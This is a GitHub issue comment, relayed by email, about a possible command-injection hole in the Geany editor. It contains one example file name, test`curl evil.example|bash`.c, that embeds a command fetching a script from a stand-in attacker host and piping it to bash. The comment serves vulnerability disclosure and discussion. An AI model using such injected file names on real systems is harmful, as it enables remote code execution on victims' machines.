WrapEarnPass left a comment (geany/geany#4611)

curl will attempt to resolve a naked domain

<img width="465" height="42" alt="Image" 
src="https://github.com/user-attachments/assets/20b4aaca-5345-41f2-ba79-e0a8a946c718";
 />

so the potential for ```test`curl evil.example|bash`.c``` does seem valid, as 
that file can be created:

<img width="382" height="38" alt="Image" 
src="https://github.com/user-attachments/assets/30f310f5-45e3-47da-bac3-566284431a87";
 />



-- 
Reply to this email directly or view it on GitHub:
https://github.com/geany/geany/issues/4611#issuecomment-4844869330
You are receiving this because you are subscribed to this thread.

Message ID: <geany/geany/issues/4611/[email protected]>

Reply via email to